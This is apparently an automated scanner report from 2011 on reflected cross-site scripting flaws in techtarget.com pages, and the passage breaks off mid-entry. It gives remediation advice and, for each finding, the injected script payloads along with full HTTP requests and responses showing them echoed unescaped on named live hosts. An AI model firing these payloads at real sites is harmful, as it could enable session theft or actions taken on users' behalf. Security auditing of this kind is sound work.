XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, techtarget.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://go.techtarget.com/clicktrack-r/activity/a [REST URL parameter 3] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://go.techtarget.com
Path:	/clicktrack-r/activity/a

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 78471<img%20src%3da%20onerror%3dalert(1)>fa835d85195 was submitted in the REST URL parameter 3. This input was echoed as 78471<img src=a onerror=alert(1)>fa835d85195 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /clicktrack-r/activity/a78471<img%20src%3da%20onerror%3dalert(1)>fa835d85195 HTTP/1.1
Host: go.techtarget.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://go.techtarget.com/clicktrack-r/activity/activity.gif61967%3Cimg%20src%3da%20onerror%3dalert(1)%3E0ea121ded5b?activityTypeId=16&t=313849&a=2011-11-18%2017:26:09&c=normal&r=425002&g=2240111127

Response

HTTP/1.1 404 There is no Action mapped for namespace /activity and action name a78471<img src=a onerror=alert(1)>fa835d85195.
Server: Resin/3.1.8
Content-Type: text/html; charset=utf-8
Date: Fri, 18 Nov 2011 22:32:58 GMT
Content-Length: 451

<html>
<head><title>404 There is no Action mapped for namespace /activity and action name a78471<img src=a onerror=alert(1)>fa835d85195.</title></head>
<body>
<h1>404 There is no Action mapped for namespace /activity and action name a78471<img src=a onerror=alert(1)>fa835d85195.</h1>
...[SNIP]...

1.2. http://go.techtarget.com/clicktrack-r/activity/activity.gif [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://go.techtarget.com
Path:	/clicktrack-r/activity/activity.gif

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 61967<img%20src%3da%20onerror%3dalert(1)>0ea121ded5b was submitted in the REST URL parameter 3. This input was echoed as 61967<img src=a onerror=alert(1)>0ea121ded5b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /clicktrack-r/activity/activity.gif61967<img%20src%3da%20onerror%3dalert(1)>0ea121ded5b?activityTypeId=16&t=313849&a=2011-11-18%2017:26:09&c=normal&r=425002&g=2240111127 HTTP/1.1
Host: go.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudcomputing.techtarget.com/tip/Building-a-Citrix-private-cloud-in-six-steps
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; tt_prereg=t1@2240067475%24t2@2240067490%24t3@2240067493%24_2011-11-18%2017%3A26%3A04%26g%3D2240110602%2Ct1@313849%24_2011-11-18%2017%3A26%3A09%26g%3D2240111127; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.6.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; bn_u=6923819986052447276; ugcCltHeight=

Response

HTTP/1.1 404 There is no Action mapped for namespace /activity and action name activity.gif61967<img src=a onerror=alert(1)>0ea121ded5b.
Server: Resin/3.1.8
Content-Type: text/html; charset=utf-8
Date: Fri, 18 Nov 2011 22:27:01 GMT
Content-Length: 484

<html>
<head><title>404 There is no Action mapped for namespace /activity and action name activity.gif61967<img src=a onerror=alert(1)>0ea121ded5b.</title></head>
<body>
<h1>404 There is no Action mapped for namespace /activity and action name activity.gif61967<img src=a onerror=alert(1)>0ea121ded5b.</h1>
...[SNIP]...

1.3. http://users.techtarget.com/registration/searchcloudsecurity/InlineRegister.page [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/registration/searchcloudsecurity/InlineRegister.page

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 974d2<script>alert(1)</script>adc1b27af5e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /registration/searchcloudsecurity974d2<script>alert(1)</script>adc1b27af5e/InlineRegister.page?type=inlineregister&callback=inlineCallback&div=inlineRegistration&pageNumber=1 HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudsecurity.techtarget.com/tip/Techniques-for-sensitive-data-discovery-in-the-cloud?Offer=mn_eh111011CSECHCAR_&utm_source=sCloudSecurity&utm_medium=EMAIL&utm_campaign=HOUSE-Home_Page_Carousel_Marketing_Link-Nov1011&utm_content=
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.16.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; ugcCltHeight=; bn_u=6923819986052447276; Offer=mn_eh111011CSECHCAR_; tt_prereg=t1@303470%24t2@313959%24_2011-11-18%2017%3A26%3A33%26g%3D2240111263%2Ct1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119%2Ct1@2240034452%24_2011-11-18%2017%3A26%3A55%26g%3D2240102592%2Ct1@317220%24_2011-11-18%2017%3A27%3A02%26g%3D2240101929%26promo%3Dmn_eh111011CSECHCAR_; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D

Response

HTTP/1.1 500 No registration config found for siteName: searchcloudsecurity974d2<script>alert(1)</script>adc1b27af5e
Server: Resin/3.1.8
Content-Type: text/html; charset=UTF-8
Date: Fri, 18 Nov 2011 22:27:59 GMT
Content-Length: 4048

<!DOCTYPE html PUBLIC
   "-//W3C//DTD XHTML 1.1 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
<div style="display:none;">
com.techtarget.registration.context.RegistrationContextException: No registration config found for siteName: searchcloudsecurity974d2<script>alert(1)</script>adc1b27af5e
   at com.techtarget.registration.context.RegistrationContextFactory.getInstanceBySiteName(RegistrationContextFactory.java:43)
   at com.techtarget.registration.interceptor.RegistrationContextInterceptor.
...[SNIP]...

1.4. http://users.techtarget.com/registration/searchcloudsecurity/InlineRegister.page [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/registration/searchcloudsecurity/InlineRegister.page

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload ec9a3<script>alert(1)</script>575548775c6 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /registration/searchcloudsecurity/InlineRegister.page?type=inlineregister&callback=inlineCallbackec9a3<script>alert(1)</script>575548775c6&div=inlineRegistration&pageNumber=1 HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudsecurity.techtarget.com/tip/Techniques-for-sensitive-data-discovery-in-the-cloud?Offer=mn_eh111011CSECHCAR_&utm_source=sCloudSecurity&utm_medium=EMAIL&utm_campaign=HOUSE-Home_Page_Carousel_Marketing_Link-Nov1011&utm_content=
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.16.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; ugcCltHeight=; bn_u=6923819986052447276; Offer=mn_eh111011CSECHCAR_; tt_prereg=t1@303470%24t2@313959%24_2011-11-18%2017%3A26%3A33%26g%3D2240111263%2Ct1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119%2Ct1@2240034452%24_2011-11-18%2017%3A26%3A55%26g%3D2240102592%2Ct1@317220%24_2011-11-18%2017%3A27%3A02%26g%3D2240101929%26promo%3Dmn_eh111011CSECHCAR_; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
ETag: 8Jmr4Y1x4OwdgQIs8XrqYRZsCSkIPGd0brvbrAUPaGEI%2B2LIjI0eSKnkhOsqkDACjEWyJgSwSSBA63K%2FcJvj740HMsWK5xZAkh77VcXbQ5w%2F9P4phxnw0OLm7TBMpLZ%2BBOj4TpbcMv6ozz%2FRig0tE7Ovdiclow2w
Cache-Control: max-age=43200
Cache-Control: private
Expires: Sat, 19 Nov 2011 10:27:53 GMT
Content-Type: application/json; charset=UTF-8
Content-Length: 6737
Date: Fri, 18 Nov 2011 22:27:53 GMT

inlineCallbackec9a3<script>alert(1)</script>575548775c6('inlineRegistration', [{"contentType":"BLOCK","CONTENT":"<style>\r\n.inlineReg_new form input {width:250px;}\r\n.inlineReg_new .inlineRegHeader
...[SNIP]...

1.5. http://users.techtarget.com/registration/searchcloudsecurity/InlineRegister.page [div parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/registration/searchcloudsecurity/InlineRegister.page

Issue detail

The value of the div request parameter is copied into the HTML document as plain text between tags. The payload f5a21<script>alert(1)</script>6f7777a1e3d was submitted in the div parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /registration/searchcloudsecurity/InlineRegister.page?type=inlineregister&callback=inlineCallback&div=inlineRegistrationf5a21<script>alert(1)</script>6f7777a1e3d&pageNumber=1 HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudsecurity.techtarget.com/tip/Techniques-for-sensitive-data-discovery-in-the-cloud?Offer=mn_eh111011CSECHCAR_&utm_source=sCloudSecurity&utm_medium=EMAIL&utm_campaign=HOUSE-Home_Page_Carousel_Marketing_Link-Nov1011&utm_content=
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.16.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; ugcCltHeight=; bn_u=6923819986052447276; Offer=mn_eh111011CSECHCAR_; tt_prereg=t1@303470%24t2@313959%24_2011-11-18%2017%3A26%3A33%26g%3D2240111263%2Ct1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119%2Ct1@2240034452%24_2011-11-18%2017%3A26%3A55%26g%3D2240102592%2Ct1@317220%24_2011-11-18%2017%3A27%3A02%26g%3D2240101929%26promo%3Dmn_eh111011CSECHCAR_; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
ETag: 8Jmr4Y1x4OwdgQIs8XrqYRZsCSkIPGd0brvbrAUPaGEI%2B2LIjI0eSKnkhOsqkDACjEWyJgSwSSAZIS3i3DK4XY0%2F6tqpdjWvi%2FC%2BPe1F22yCbZBUMEAkuMSR8Dz3tOUA21UoHe7eXsHKcJCN8LYF0UwDTXooppVR
Cache-Control: max-age=43200
Cache-Control: private
Expires: Sat, 19 Nov 2011 10:27:55 GMT
Content-Type: application/json; charset=UTF-8
Content-Length: 6737
Date: Fri, 18 Nov 2011 22:27:55 GMT

inlineCallback('inlineRegistrationf5a21<script>alert(1)</script>6f7777a1e3d', [{"contentType":"BLOCK","CONTENT":"<style>\r\n.inlineReg_new form input {width:250px;}\r\n.inlineReg_new .inlineRegHeader
...[SNIP]...

1.6. http://users.techtarget.com/registration/searchcloudsecurity/InlineRegister.page [pageNumber parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/registration/searchcloudsecurity/InlineRegister.page

Issue detail

The value of the pageNumber request parameter is copied into the HTML document as plain text between tags. The payload 884a4<script>alert(1)</script>0808072b0e0 was submitted in the pageNumber parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /registration/searchcloudsecurity/InlineRegister.page?type=inlineregister&callback=inlineCallback&div=inlineRegistration&pageNumber=1884a4<script>alert(1)</script>0808072b0e0 HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudsecurity.techtarget.com/tip/Techniques-for-sensitive-data-discovery-in-the-cloud?Offer=mn_eh111011CSECHCAR_&utm_source=sCloudSecurity&utm_medium=EMAIL&utm_campaign=HOUSE-Home_Page_Carousel_Marketing_Link-Nov1011&utm_content=
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.16.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; ugcCltHeight=; bn_u=6923819986052447276; Offer=mn_eh111011CSECHCAR_; tt_prereg=t1@303470%24t2@313959%24_2011-11-18%2017%3A26%3A33%26g%3D2240111263%2Ct1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119%2Ct1@2240034452%24_2011-11-18%2017%3A26%3A55%26g%3D2240102592%2Ct1@317220%24_2011-11-18%2017%3A27%3A02%26g%3D2240101929%26promo%3Dmn_eh111011CSECHCAR_; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D

Response

HTTP/1.1 500 For input string: "1884a4<script>alert(1)</script>0808072b0e0"
Server: Resin/3.1.8
Content-Type: text/html; charset=UTF-8
Date: Fri, 18 Nov 2011 22:27:57 GMT
Content-Length: 4696

<!DOCTYPE html PUBLIC
   "-//W3C//DTD XHTML 1.1 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
<div style="display:none;">
java.lang.NumberFormatException: For input string: "1884a4<script>alert(1)</script>0808072b0e0"
   at java.lang.NumberFormatException.forInputString(NumberFormatException.java:48)
   at java.lang.Integer.parseInt(Integer.java:456)
   at java.lang.Integer.valueOf(Integer.java:553)
   at com.techtarget.r
...[SNIP]...

1.7. http://users.techtarget.com/registration/searchcloudstorage/InlineRegister.page [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/registration/searchcloudstorage/InlineRegister.page

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 44e96<script>alert(1)</script>a0467f72e67 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /registration/searchcloudstorage44e96<script>alert(1)</script>a0467f72e67/InlineRegister.page?type=inlineregister&callback=inlineCallback&div=inlineRegistration&pageNumber=1 HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudstorage.techtarget.com/tip/Cloud-storage-review-Storage-in-the-cloud-vs-cloud-storage
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.12.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; bn_ec=%7B%22a%22%3A%22c%22%2C%22c%22%3A%22d%26g%26s%22%2C%22d%22%3A%22http%3A%2F%2Fsearchcloudstorage.techtarget.com%2F%22%2C%22r%22%3A%22http%3A%2F%2Fwww.techtarget.com%2Fhtml%2Fpr%2Fpr-10202011.htm%22%2C%22t%22%3A1321655201819%2C%22u%22%3A%226923819986052447276%22%2C%22dd%22%3A%22http%3A%2F%2Fsearchcloudstorage.techtarget.com%2Ftip%2FCloud-storage-review-Storage-in-the-cloud-vs-cloud-storage%22%2C%22l%22%3A%22Cloud%20storage%20review%3A%20Technology%20requirements%22%2C%22de%22%3A%7B%22ti%22%3A%22Cloud%20storage%20information%2C%20news%20and%20tips%20%E2%80%93%20SearchCloudStorage.com%22%2C%22nw%22%3A748%2C%22nl%22%3A180%7D%7D; ugcCltHeight=; tt_prereg=t1@313849%24_2011-11-18%2017%3A26%3A09%26g%3D2240111127%2Ct1@313849%24t2@315950%24_2011-11-18%2017%3A26%3A28%26g%3D2240037776%2Ct1@303470%24t2@313959%24_2011-11-18%2017%3A26%3A33%26g%3D2240111263%2Ct1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D; bn_u=6923819986052447276

Response

HTTP/1.1 500 No registration config found for siteName: searchcloudstorage44e96<script>alert(1)</script>a0467f72e67
Server: Resin/3.1.8
Content-Type: text/html; charset=UTF-8
Date: Fri, 18 Nov 2011 22:27:40 GMT
Content-Length: 4047

<!DOCTYPE html PUBLIC
   "-//W3C//DTD XHTML 1.1 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
<div style="display:none;">
com.techtarget.registration.context.RegistrationContextException: No registration config found for siteName: searchcloudstorage44e96<script>alert(1)</script>a0467f72e67
   at com.techtarget.registration.context.RegistrationContextFactory.getInstanceBySiteName(RegistrationContextFactory.java:43)
   at com.techtarget.registration.interceptor.RegistrationContextInterceptor.
...[SNIP]...

1.8. http://users.techtarget.com/registration/searchcloudstorage/InlineRegister.page [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/registration/searchcloudstorage/InlineRegister.page

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload adee5<script>alert(1)</script>a3bdeacf154 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /registration/searchcloudstorage/InlineRegister.page?type=inlineregister&callback=inlineCallbackadee5<script>alert(1)</script>a3bdeacf154&div=inlineRegistration&pageNumber=1 HTTP/1.1
Host: users.techtarget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2
Accept: */*
Referer: http://searchcloudstorage.techtarget.com/tip/Cloud-storage-review-Storage-in-the-cloud-vs-cloud-storage
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tt_ui=%7B%22textSize%22%3A0%7D; __utma=1.517372389.1321655155.1321655155.1321655155.1; __utmb=1.12.10.1321655155; __utmc=1; __utmz=1.1321655155.1.1.utmcsr=techtarget.com|utmccn=(referral)|utmcmd=referral|utmcct=/html/pr/pr-10202011.htm; bn_ec=%7B%22a%22%3A%22c%22%2C%22c%22%3A%22d%26g%26s%22%2C%22d%22%3A%22http%3A%2F%2Fsearchcloudstorage.techtarget.com%2F%22%2C%22r%22%3A%22http%3A%2F%2Fwww.techtarget.com%2Fhtml%2Fpr%2Fpr-10202011.htm%22%2C%22t%22%3A1321655201819%2C%22u%22%3A%226923819986052447276%22%2C%22dd%22%3A%22http%3A%2F%2Fsearchcloudstorage.techtarget.com%2Ftip%2FCloud-storage-review-Storage-in-the-cloud-vs-cloud-storage%22%2C%22l%22%3A%22Cloud%20storage%20review%3A%20Technology%20requirements%22%2C%22de%22%3A%7B%22ti%22%3A%22Cloud%20storage%20information%2C%20news%20and%20tips%20%E2%80%93%20SearchCloudStorage.com%22%2C%22nw%22%3A748%2C%22nl%22%3A180%7D%7D; ugcCltHeight=; tt_prereg=t1@313849%24_2011-11-18%2017%3A26%3A09%26g%3D2240111127%2Ct1@313849%24t2@315950%24_2011-11-18%2017%3A26%3A28%26g%3D2240037776%2Ct1@303470%24t2@313959%24_2011-11-18%2017%3A26%3A33%26g%3D2240111263%2Ct1@304683%24t2@306779%24_2011-11-18%2017%3A26%3A38%26g%3D2240110398%2Ct1@2240035840%24t2@2240035842%24t3@2240035841%24_2011-11-18%2017%3A26%3A43%26g%3D2240101119; bk=617847aa-1b71-4503-a2f5-8b35c49da7a6; co=%7B%22countryId%22%3A%22UNKNOWN%22%2C%22id%22%3A%22UNKNOWN%22%2C%22f2000%22%3A%22UNKNOWN%22%2C%22empSizeId%22%3A%22UNKNOWN%22%2C%22empSize%22%3A%22UNKNOWN%22%2C%22f1000%22%3A%22UNKNOWN%22%2C%22revenueId%22%3A%22UNKNOWN%22%2C%22industryId%22%3A%22UNKNOWN%22%2C%22industry%22%3A%22UNKNOWN%22%2C%22dbSic%22%3A%22UNKNOWN%22%2C%22type%22%3A%22UNKNOWN%22%2C%22revenue%22%3A%22UNKNOWN%22%7D; bn_u=6923819986052447276

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
ETag: 8Jmr4Y1x4OwU4CKagb8vPO%2By0eU4PQFWWaqD9Xwb7mOHo17LSPTuWgq0dltfx%2BWxWxBMwx22pgRBaN7xswmYwcIN2gb9s%2BY7fE8pcdB17KPpu7pYAiCEkyzKTv3zfO6QmgbHEfwEBFPqTWDuZ0bIa7j6Ae7GwKsi
Cache-Control: max-age=43200
Cache-Control: private
Expires: Sat, 19 Nov 2011 10:27:34 GMT
Content-Type: application/json; charset=UTF-8
Content-Length: 7808
Date: Fri, 18 Nov 2011 22:27:34 GMT

inlineCallbackadee5<script>alert(1)</script>a3bdeacf154('inlineRegistration', [{"contentType":"BLOCK","CONTENT":"<style>\r\n.inlineReg_new form input {width:250px;}\r\n.inlineReg_new .inlineRegHeader
...[SNIP]...

1.9. http://users.techtarget.com/registration/searchcloudstorage/InlineRegister.page [div parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://users.techtarget.com
Path:	/registration/searchcloudstorage/InlineRegister.page

Issue detail

